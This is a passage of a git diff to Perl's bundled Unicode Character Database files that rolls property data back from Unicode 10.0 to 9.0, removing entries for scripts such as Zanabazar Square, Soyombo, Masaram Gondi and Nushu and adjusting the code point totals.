115C9..115D7 ; Terminal_Punctuation # Po [15] SIDDHAM END OF TEXT MARK..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES 11641..11642 ; Terminal_Punctuation # Po [2] MODI DANDA..MODI DOUBLE DANDA 1173C..1173E ; Terminal_Punctuation # Po [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI -11A42..11A43 ; Terminal_Punctuation # Po [2] ZANABAZAR SQUARE MARK SHAD..ZANABAZAR SQUARE MARK DOUBLE SHAD -11A9B..11A9C ; Terminal_Punctuation # Po [2] SOYOMBO MARK SHAD..SOYOMBO MARK DOUBLE SHAD -11AA1..11AA2 ; Terminal_Punctuation # Po [2] SOYOMBO TERMINAL MARK-1..SOYOMBO TERMINAL MARK-2 11C41..11C43 ; Terminal_Punctuation # Po [3] BHAIKSUKI DANDA..BHAIKSUKI WORD SEPARATOR 11C71 ; Terminal_Punctuation # Po MARCHEN MARK SHAD 12470..12474 ; Terminal_Punctuation # Po [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON @@ -212,7 +209,7 @@ FF64 ; Terminal_Punctuation # Po HALFWIDTH IDEOGRAPHIC COMMA 1BC9F ; Terminal_Punctuation # Po DUPLOYAN PUNCTUATION CHINOOK FULL STOP 1DA87..1DA8A ; Terminal_Punctuation # Po [4] SIGNWRITING COMMA..SIGNWRITING COLON -# Total code points: 252 +# Total code points: 246 # ================================================ @@ -474,7 +471,6 @@ FF41..FF46 ; Hex_Digit # L& [6] FULLWIDTH LATIN SMALL LETTER A..FULLWIDTH L 0AC9 ; Other_Alphabetic # Mc GUJARATI VOWEL SIGN CANDRA O 0ACB..0ACC ; Other_Alphabetic # Mc [2] GUJARATI VOWEL SIGN O..GUJARATI VOWEL SIGN AU 0AE2..0AE3 ; Other_Alphabetic # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL -0AFA..0AFC ; Other_Alphabetic # Mn [3] GUJARATI SIGN SUKUN..GUJARATI SIGN MADDAH 0B01 ; Other_Alphabetic # Mn ORIYA SIGN CANDRABINDU 0B02..0B03 ; Other_Alphabetic # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA 0B3E ; Other_Alphabetic # Mc ORIYA VOWEL SIGN AA @@ -512,7 +508,7 @@ FF41..FF46 ; Hex_Digit # L& [6] FULLWIDTH LATIN SMALL LETTER A..FULLWIDTH L 0CCC ; Other_Alphabetic # Mn KANNADA VOWEL SIGN AU 0CD5..0CD6 ; Other_Alphabetic # Mc [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK 0CE2..0CE3 ; Other_Alphabetic # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL -0D00..0D01 ; Other_Alphabetic # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU +0D01 ; Other_Alphabetic # Mn MALAYALAM SIGN CANDRABINDU 0D02..0D03 ; Other_Alphabetic # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA 0D3E..0D40 ; Other_Alphabetic # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II 0D41..0D44 ; Other_Alphabetic # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR @@ -730,17 +726,6 @@ FB1E ; Other_Alphabetic # Mn HEBREW POINT JUDEO-SPANISH VARIKA 11722..11725 ; Other_Alphabetic # Mn [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU 11726 ; Other_Alphabetic # Mc AHOM VOWEL SIGN E 11727..1172A ; Other_Alphabetic # Mn [4] AHOM VOWEL SIGN AW..AHOM VOWEL SIGN AM -11A01..11A06 ; Other_Alphabetic # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; Other_Alphabetic # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; Other_Alphabetic # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A35..11A38 ; Other_Alphabetic # Mn [4] ZANABAZAR SQUARE SIGN CANDRABINDU..ZANABAZAR SQUARE SIGN ANUSVARA -11A39 ; Other_Alphabetic # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3B..11A3E ; Other_Alphabetic # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A51..11A56 ; Other_Alphabetic # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; Other_Alphabetic # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; Other_Alphabetic # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A8A..11A96 ; Other_Alphabetic # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97 ; Other_Alphabetic # Mc SOYOMBO SIGN VISARGA 11C2F ; Other_Alphabetic # Mc BHAIKSUKI VOWEL SIGN AA 11C30..11C36 ; Other_Alphabetic # Mn [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L 11C38..11C3D ; Other_Alphabetic # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA @@ -752,12 +737,6 @@ FB1E ; Other_Alphabetic # Mn HEBREW POINT JUDEO-SPANISH VARIKA 11CB2..11CB3 ; Other_Alphabetic # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4 ; Other_Alphabetic # Mc MARCHEN VOWEL SIGN O 11CB5..11CB6 ; Other_Alphabetic # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D31..11D36 ; Other_Alphabetic # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; Other_Alphabetic # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; Other_Alphabetic # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D41 ; Other_Alphabetic # Mn [3] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI SIGN VISARGA -11D43 ; Other_Alphabetic # Mn MASARAM GONDI SIGN CANDRA -11D47 ; Other_Alphabetic # Mn MASARAM GONDI RA-KARA 16B30..16B36 ; Other_Alphabetic # Mn [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM 16F51..16F7E ; Other_Alphabetic # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG 1BC9E ; Other_Alphabetic # Mn DUPLOYAN DOUBLE MARK @@ -771,7 +750,7 @@ FB1E ; Other_Alphabetic # Mn HEBREW POINT JUDEO-SPANISH VARIKA 1F150..1F169 ; Other_Alphabetic # So [26] NEGATIVE CIRCLED LATIN CAPITAL LETTER A..NEGATIVE CIRCLED LATIN CAPITAL LETTER Z 1F170..1F189 ; Other_Alphabetic # So [26] NEGATIVE SQUARED LATIN CAPITAL LETTER A..NEGATIVE SQUARED LATIN CAPITAL LETTER Z -# Total code points: 1300 +# Total code points: 1238 # ================================================ @@ -780,20 +759,18 @@ FB1E ; Other_Alphabetic # Mn HEBREW POINT JUDEO-SPANISH VARIKA 3021..3029 ; Ideographic # Nl [9] HANGZHOU NUMERAL ONE..HANGZHOU NUMERAL NINE 3038..303A ; Ideographic # Nl [3] HANGZHOU NUMERAL TEN..HANGZHOU NUMERAL THIRTY 3400..4DB5 ; Ideographic # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4E00..9FEA ; Ideographic # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; Ideographic # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 F900..FA6D ; Ideographic # Lo [366] CJK COMPATIBILITY IDEOGRAPH-F900..CJK COMPATIBILITY IDEOGRAPH-FA6D FA70..FAD9 ; Ideographic # Lo [106] CJK COMPATIBILITY IDEOGRAPH-FA70..CJK COMPATIBILITY IDEOGRAPH-FAD9 17000..187EC ; Ideographic # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; Ideographic # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B170..1B2FB ; Ideographic # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB 20000..2A6D6 ; Ideographic # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6 2A700..2B734 ; Ideographic # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; Ideographic # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; Ideographic # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; Ideographic # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 2F800..2FA1D ; Ideographic # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D -# Total code points: 96174 +# Total code points: 88284 # ================================================ @@ -849,14 +826,12 @@ FA70..FAD9 ; Ideographic # Lo [106] CJK COMPATIBILITY IDEOGRAPH-FA70..CJK COM 0A4D ; Diacritic # Mn GURMUKHI SIGN VIRAMA 0ABC ; Diacritic # Mn GUJARATI SIGN NUKTA 0ACD ; Diacritic # Mn GUJARATI SIGN VIRAMA -0AFD..0AFF ; Diacritic # Mn [3] GUJARATI SIGN THREE-DOT NUKTA ABOVE..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B3C ; Diacritic # Mn ORIYA SIGN NUKTA 0B4D ; Diacritic # Mn ORIYA SIGN VIRAMA 0BCD ; Diacritic # Mn TAMIL SIGN VIRAMA 0C4D ; Diacritic # Mn TELUGU SIGN VIRAMA 0CBC ; Diacritic # Mn KANNADA SIGN NUKTA 0CCD ; Diacritic # Mn KANNADA SIGN VIRAMA -0D3B..0D3C ; Diacritic # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA 0D4D ; Diacritic # Mn MALAYALAM SIGN VIRAMA 0DCA ; Diacritic # Mn SINHALA SIGN AL-LAKUNA 0E47..0E4C ; Diacritic # Mn [6] THAI CHARACTER MAITAIKHU..THAI CHARACTER THANTHAKHAT @@ -896,11 +871,10 @@ FA70..FAD9 ; Ideographic # Lo [106] CJK COMPATIBILITY IDEOGRAPH-FA70..CJK COM 1CE2..1CE8 ; Diacritic # Mn [7] VEDIC SIGN VISARGA SVARITA..VEDIC SIGN VISARGA ANUDATTA WITH TAIL 1CED ; Diacritic # Mn VEDIC SIGN TIRYAK 1CF4 ; Diacritic # Mn VEDIC TONE CANDRA ABOVE -1CF7 ; Diacritic # Mc VEDIC SIGN ATIKRAMA 1CF8..1CF9 ; Diacritic # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE 1D2C..1D6A ; Diacritic # Lm [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI 1DC4..1DCF ; Diacritic # Mn [12] COMBINING MACRON-ACUTE..COMBINING ZIGZAG BELOW -1DF5..1DF9 ; Diacritic # Mn [5] COMBINING UP TACK ABOVE..COMBINING WIDE INVERTED BRIDGE BELOW +1DF5 ; Diacritic # Mn COMBINING UP TACK ABOVE 1DFD..1DFF ; Diacritic # Mn [3] COMBINING ALMOST EQUAL TO BELOW..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 1FBD ; Diacritic # Sk GREEK KORONIS 1FBF..1FC1 ; Diacritic # Sk [3] GREEK PSILI..GREEK DIALYTIKA AND PERISPOMENI @@ -973,12 +947,7 @@ FFE3 ; Diacritic # Sk FULLWIDTH MACRON 116B6 ; Diacritic # Mc TAKRI SIGN VIRAMA 116B7 ; Diacritic # Mn TAKRI SIGN NUKTA 1172B ; Diacritic # Mn AHOM SIGN KILLER -11A34 ; Diacritic # Mn ZANABAZAR SQUARE SIGN VIRAMA -11A47 ; Diacritic # Mn ZANABAZAR SQUARE SUBJOINER -11A99 ; Diacritic # Mn SOYOMBO SUBJOINER 11C3F ; Diacritic # Mn BHAIKSUKI SIGN VIRAMA -11D42 ; Diacritic # Mn MASARAM GONDI SIGN NUKTA -11D44..11D45 ; Diacritic # Mn [2] MASARAM GONDI SIGN HALANTA..MASARAM GONDI VIRAMA 16AF0..16AF4 ; Diacritic # Mn [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE 16F8F..16F92 ; Diacritic # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW 16F93..16F9F ; Diacritic # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 @@ -991,7 +960,7 @@ FFE3 ; Diacritic # Sk FULLWIDTH MACRON 1E944..1E946 ; Diacritic # Mn [3] ADLAM ALIF LENGTHENER..ADLAM GEMINATION MARK 1E948..1E94A ; Diacritic # Mn [3] ADLAM CONSONANT MODIFIER..ADLAM NUKTA -# Total code points: 798 +# Total code points: 782 # ================================================ @@ -1020,12 +989,11 @@ AAF3..AAF4 ; Extender # Lm [2] MEETEI MAYEK SYLLABLE REPETITION MARK..MEETE FF70 ; Extender # Lm HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK 1135D ; Extender # Lo GRANTHA SIGN PLUTA 115C6..115C8 ; Extender # Po [3] SIDDHAM REPETITION MARK-1..SIDDHAM REPETITION MARK-3 -11A98 ; Extender # Mn SOYOMBO GEMINATION MARK 16B42..16B43 ; Extender # Lm [2] PAHAWH HMONG SIGN VOS NRUA..PAHAWH HMONG SIGN IB YAM -16FE0..16FE1 ; Extender # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; Extender # Lm TANGUT ITERATION MARK 1E944..1E946 ; Extender # Mn [3] ADLAM ALIF LENGTHENER..ADLAM GEMINATION MARK -# Total code points: 44 +# Total code points: 42 # ================================================ @@ -1137,7 +1105,7 @@ E0020..E007F ; Other_Grapheme_Extend # Cf [96] TAG SPACE..CANCEL TAG # ================================================ 3400..4DB5 ; Unified_Ideograph # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4E00..9FEA ; Unified_Ideograph # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; Unified_Ideograph # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 FA0E..FA0F ; Unified_Ideograph # Lo [2] CJK COMPATIBILITY IDEOGRAPH-FA0E..CJK COMPATIBILITY IDEOGRAPH-FA0F FA11 ; Unified_Ideograph # Lo CJK COMPATIBILITY IDEOGRAPH-FA11 FA13..FA14 ; Unified_Ideograph # Lo [2] CJK COMPATIBILITY IDEOGRAPH-FA13..CJK COMPATIBILITY IDEOGRAPH-FA14 @@ -1149,9 +1117,8 @@ FA27..FA29 ; Unified_Ideograph # Lo [3] CJK COMPATIBILITY IDEOGRAPH-FA27..C 2A700..2B734 ; Unified_Ideograph # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; Unified_Ideograph # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; Unified_Ideograph # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; Unified_Ideograph # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 -# Total code points: 87882 +# Total code points: 80388 # ================================================ @@ -1310,8 +1277,6 @@ FF61 ; Sentence_Terminal # Po HALFWIDTH IDEOGRAPHIC FULL STOP 115C9..115D7 ; Sentence_Terminal # Po [15] SIDDHAM END OF TEXT MARK..SIDDHAM SECTION MARK WITH CIRCLES AND FOUR ENCLOSURES 11641..11642 ; Sentence_Terminal # Po [2] MODI DANDA..MODI DOUBLE DANDA 1173C..1173E ; Sentence_Terminal # Po [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI -11A42..11A43 ; Sentence_Terminal # Po [2] ZANABAZAR SQUARE MARK SHAD..ZANABAZAR SQUARE MARK DOUBLE SHAD -11A9B..11A9C ; Sentence_Terminal # Po [2] SOYOMBO MARK SHAD..SOYOMBO MARK DOUBLE SHAD 11C41..11C42 ; Sentence_Terminal # Po [2] BHAIKSUKI DANDA..BHAIKSUKI DOUBLE DANDA 16A6E..16A6F ; Sentence_Terminal # Po [2] MRO DANDA..MRO DOUBLE DANDA 16AF5 ; Sentence_Terminal # Po BASSA VAH FULL STOP @@ -1320,7 +1285,7 @@ FF61 ; Sentence_Terminal # Po HALFWIDTH IDEOGRAPHIC FULL STOP 1BC9F ; Sentence_Terminal # Po DUPLOYAN PUNCTUATION CHINOOK FULL STOP 1DA88 ; Sentence_Terminal # Po SIGNWRITING FULL STOP -# Total code points: 128 +# Total code points: 124 # ================================================ @@ -1437,7 +1402,9 @@ E0100..E01EF ; Variation_Selector # Mn [240] VARIATION SELECTOR-17..VARIATION S 239B..23B3 ; Pattern_Syntax # Sm [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM 23B4..23DB ; Pattern_Syntax # So [40] TOP SQUARE BRACKET..FUSE 23DC..23E1 ; Pattern_Syntax # Sm [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET -23E2..2426 ; Pattern_Syntax # So [69] WHITE TRAPEZIUM..SYMBOL FOR SUBSTITUTE FORM TWO +23E2..23FE ; Pattern_Syntax # So [29] WHITE TRAPEZIUM..POWER SLEEP SYMBOL +23FF ; Pattern_Syntax # Cn +2400..2426 ; Pattern_Syntax # So [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO 2427..243F ; Pattern_Syntax # Cn [25] .. 2440..244A ; Pattern_Syntax # So [11] OCR HOOK..OCR DOUBLE BACKSLASH 244B..245F ; Pattern_Syntax # Cn [21] .. @@ -1525,8 +1492,8 @@ E0100..E01EF ; Variation_Selector # Mn [240] VARIATION SELECTOR-17..VARIATION S 2BBA..2BBC ; Pattern_Syntax # Cn [3] .. 2BBD..2BC8 ; Pattern_Syntax # So [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED 2BC9 ; Pattern_Syntax # Cn -2BCA..2BD2 ; Pattern_Syntax # So [9] TOP HALF BLACK CIRCLE..GROUP MARK -2BD3..2BEB ; Pattern_Syntax # Cn [25] .. +2BCA..2BD1 ; Pattern_Syntax # So [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN +2BD2..2BEB ; Pattern_Syntax # Cn [26] .. 2BEC..2BEF ; Pattern_Syntax # So [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS 2BF0..2BFF ; Pattern_Syntax # Cn [16] .. 2E00..2E01 ; Pattern_Syntax # Po [2] RIGHT ANGLE SUBSTITUTION MARKER..RIGHT ANGLE DOTTED SUBSTITUTION MARKER @@ -1566,8 +1533,8 @@ E0100..E01EF ; Variation_Selector # Mn [240] VARIATION SELECTOR-17..VARIATION S 2E40 ; Pattern_Syntax # Pd DOUBLE HYPHEN 2E41 ; Pattern_Syntax # Po REVERSED COMMA 2E42 ; Pattern_Syntax # Ps DOUBLE LOW-REVERSED-9 QUOTATION MARK -2E43..2E49 ; Pattern_Syntax # Po [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA -2E4A..2E7F ; Pattern_Syntax # Cn [54] .. +2E43..2E44 ; Pattern_Syntax # Po [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK +2E45..2E7F ; Pattern_Syntax # Cn [59] .. 3001..3003 ; Pattern_Syntax # Po [3] IDEOGRAPHIC COMMA..DITTO MARK 3008 ; Pattern_Syntax # Ps LEFT ANGLE BRACKET 3009 ; Pattern_Syntax # Pe RIGHT ANGLE BRACKET @@ -1609,10 +1576,4 @@ FE45..FE46 ; Pattern_Syntax # Po [2] SESAME DOT..WHITE SESAME DOT # Total code points: 10 -# ================================================ - -1F1E6..1F1FF ; Regional_Indicator # So [26] REGIONAL INDICATOR SYMBOL LETTER A..REGIONAL INDICATOR SYMBOL LETTER Z - -# Total code points: 26 - # EOF diff --git a/lib/unicore/PropValueAliases.txt b/lib/unicore/PropValueAliases.txt index e9b3548cac1b..f56ab59a1a11 100644 --- a/lib/unicore/PropValueAliases.txt +++ b/lib/unicore/PropValueAliases.txt @@ -1,6 +1,6 @@ -# PropertyValueAliases-10.0.0.txt -# Date: 2017-05-17, 08:45:34 GMT -# © 2017 Unicode®, Inc. +# PropertyValueAliases-9.0.0.txt +# Date: 2016-03-02, 18:55:05 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -80,7 +80,6 @@ age; 6.3 ; V6_3 age; 7.0 ; V7_0 age; 8.0 ; V8_0 age; 9.0 ; V9_0 -age; 10.0 ; V10_0 age; NA ; Unassigned # Alphabetic (Alpha) @@ -192,7 +191,6 @@ blk; CJK_Ext_B ; CJK_Unified_Ideographs_Extension_B blk; CJK_Ext_C ; CJK_Unified_Ideographs_Extension_C blk; CJK_Ext_D ; CJK_Unified_Ideographs_Extension_D blk; CJK_Ext_E ; CJK_Unified_Ideographs_Extension_E -blk; CJK_Ext_F ; CJK_Unified_Ideographs_Extension_F blk; CJK_Radicals_Sup ; CJK_Radicals_Supplement blk; CJK_Strokes ; CJK_Strokes blk; CJK_Symbols ; CJK_Symbols_And_Punctuation @@ -265,7 +263,6 @@ blk; Jamo_Ext_A ; Hangul_Jamo_Extended_A blk; Jamo_Ext_B ; Hangul_Jamo_Extended_B blk; Javanese ; Javanese blk; Kaithi ; Kaithi -blk; Kana_Ext_A ; Kana_Extended_A blk; Kana_Sup ; Kana_Supplement blk; Kanbun ; Kanbun blk; Kangxi ; Kangxi_Radicals @@ -302,7 +299,6 @@ blk; Malayalam ; Malayalam blk; Mandaic ; Mandaic blk; Manichaean ; Manichaean blk; Marchen ; Marchen -blk; Masaram_Gondi ; Masaram_Gondi blk; Math_Alphanum ; Mathematical_Alphanumeric_Symbols blk; Math_Operators ; Mathematical_Operators blk; Meetei_Mayek ; Meetei_Mayek @@ -334,7 +330,6 @@ blk; New_Tai_Lue ; New_Tai_Lue blk; Newa ; Newa blk; NKo ; NKo blk; Number_Forms ; Number_Forms -blk; Nushu ; Nushu blk; OCR ; Optical_Character_Recognition blk; Ogham ; Ogham blk; Ol_Chiki ; Ol_Chiki @@ -374,7 +369,6 @@ blk; Sinhala ; Sinhala blk; Sinhala_Archaic_Numbers ; Sinhala_Archaic_Numbers blk; Small_Forms ; Small_Form_Variants blk; Sora_Sompeng ; Sora_Sompeng -blk; Soyombo ; Soyombo blk; Specials ; Specials blk; Sundanese ; Sundanese blk; Sundanese_Sup ; Sundanese_Supplement @@ -390,7 +384,6 @@ blk; Super_And_Sub ; Superscripts_And_Subscripts blk; Sutton_SignWriting ; Sutton_SignWriting blk; Syloti_Nagri ; Syloti_Nagri blk; Syriac ; Syriac -blk; Syriac_Sup ; Syriac_Supplement blk; Tagalog ; Tagalog blk; Tagbanwa ; Tagbanwa blk; Tags ; Tags @@ -421,7 +414,6 @@ blk; Warang_Citi ; Warang_Citi blk; Yi_Radicals ; Yi_Radicals blk; Yi_Syllables ; Yi_Syllables blk; Yijing ; Yijing_Hexagram_Symbols -blk; Zanabazar_Square ; Zanabazar_Square # Canonical_Combining_Class (ccc) @@ -749,7 +741,6 @@ Ideo; Y ; Yes ; T # Indic_Positional_Category (InPC) InPC; Bottom ; Bottom -InPC; Bottom_And_Left ; Bottom_And_Left InPC; Bottom_And_Right ; Bottom_And_Right InPC; Left ; Left InPC; Left_And_Right ; Left_And_Right @@ -894,17 +885,6 @@ jg ; Khaph ; Khaph jg ; Knotted_Heh ; Knotted_Heh jg ; Lam ; Lam jg ; Lamadh ; Lamadh -jg ; Malayalam_Bha ; Malayalam_Bha -jg ; Malayalam_Ja ; Malayalam_Ja -jg ; Malayalam_Lla ; Malayalam_Lla -jg ; Malayalam_Llla ; Malayalam_Llla -jg ; Malayalam_Nga ; Malayalam_Nga -jg ; Malayalam_Nna ; Malayalam_Nna -jg ; Malayalam_Nnna ; Malayalam_Nnna -jg ; Malayalam_Nya ; Malayalam_Nya -jg ; Malayalam_Ra ; Malayalam_Ra -jg ; Malayalam_Ssa ; Malayalam_Ssa -jg ; Malayalam_Tta ; Malayalam_Tta jg ; Manichaean_Aleph ; Manichaean_Aleph jg ; Manichaean_Ayin ; Manichaean_Ayin jg ; Manichaean_Beth ; Manichaean_Beth @@ -1155,11 +1135,6 @@ QMark; Y ; Yes ; T Radical; N ; No ; F ; False Radical; Y ; Yes ; T ; True -# Regional_Indicator (RI) - -RI ; N ; No ; F ; False -RI ; Y ; Yes ; T ; True - # Script (sc) sc ; Adlm ; Adlam @@ -1196,7 +1171,6 @@ sc ; Elba ; Elbasan sc ; Ethi ; Ethiopic sc ; Geor ; Georgian sc ; Glag ; Glagolitic -sc ; Gonm ; Masaram_Gondi sc ; Goth ; Gothic sc ; Gran ; Grantha sc ; Grek ; Greek @@ -1249,7 +1223,6 @@ sc ; Narb ; Old_North_Arabian sc ; Nbat ; Nabataean sc ; Newa ; Newa sc ; Nkoo ; Nko -sc ; Nshu ; Nushu sc ; Ogam ; Ogham sc ; Olck ; Ol_Chiki sc ; Orkh ; Old_Turkic @@ -1277,7 +1250,6 @@ sc ; Sidd ; Siddham sc ; Sind ; Khudawadi sc ; Sinh ; Sinhala sc ; Sora ; Sora_Sompeng -sc ; Soyo ; Soyombo sc ; Sund ; Sundanese sc ; Sylo ; Syloti_Nagri sc ; Syrc ; Syriac @@ -1301,7 +1273,6 @@ sc ; Wara ; Warang_Citi sc ; Xpeo ; Old_Persian sc ; Xsux ; Cuneiform sc ; Yiii ; Yi -sc ; Zanb ; Zanabazar_Square sc ; Zinh ; Inherited ; Qaai sc ; Zyyy ; Common sc ; Zzzz ; Unknown @@ -1386,13 +1357,6 @@ Upper; Y ; Yes ; T VS ; N ; No ; F ; False VS ; Y ; Yes ; T ; True -# Vertical_Orientation (vo) - -vo ; R ; Rotated -vo ; Tr ; Transformed_Rotated -vo ; Tu ; Transformed_Upright -vo ; U ; Upright - # White_Space (WSpace) WSpace; N ; No ; F ; False diff --git a/lib/unicore/PropertyAliases.txt b/lib/unicore/PropertyAliases.txt index f2e26ba05e00..5284682a16e2 100644 --- a/lib/unicore/PropertyAliases.txt +++ b/lib/unicore/PropertyAliases.txt @@ -1,6 +1,6 @@ -# PropertyAliases-10.0.0.txt -# Date: 2017-02-14, 04:26:16 GMT -# © 2017 Unicode®, Inc. +# PropertyAliases-9.0.0.txt +# Date: 2016-03-02, 18:55:05 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -123,7 +123,6 @@ NFKC_QC ; NFKC_Quick_Check NFKD_QC ; NFKD_Quick_Check nt ; Numeric_Type SB ; Sentence_Break -vo ; Vertical_Orientation WB ; Word_Break # ================================================ @@ -176,7 +175,6 @@ Pat_WS ; Pattern_White_Space PCM ; Prepended_Concatenation_Mark QMark ; Quotation_Mark Radical ; Radical -RI ; Regional_Indicator SD ; Soft_Dotted STerm ; Sentence_Terminal Term ; Terminal_Punctuation @@ -192,6 +190,6 @@ XO_NFKC ; Expands_On_NFKC XO_NFKD ; Expands_On_NFKD # ================================================ -# Total: 120 +# Total: 118 # EOF diff --git a/lib/unicore/README.perl b/lib/unicore/README.perl index 74caf48e0265..f892334d4529 100644 --- a/lib/unicore/README.perl +++ b/lib/unicore/README.perl @@ -61,7 +61,6 @@ mv extracted/DerivedLineBreak.txt extracted/DLineBreak.txt mv extracted/DerivedNumericType.txt extracted/DNumType.txt mv extracted/DerivedNumericValues.txt extracted/DNumValues.txt -mv extracted/DerivedName.txt extracted/DName.txt rmdir extracted 2>/dev/null # Will fail if non-empty, but if it is empty # was an early release that didn't have it. diff --git a/lib/unicore/ReadMe.txt b/lib/unicore/ReadMe.txt index 1ba7a9d9da2f..5da3522debb5 100644 --- a/lib/unicore/ReadMe.txt +++ b/lib/unicore/ReadMe.txt @@ -1,6 +1,7 @@ # Unicode Character Database -# Date: 2017-06-18, 23:32:00 GMT [KW] -# © 2017 Unicode®, Inc. +# Date: 2016-06-20, 14:59:00 GMT [KW] +# © 2016 Unicode®, Inc. +# Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the 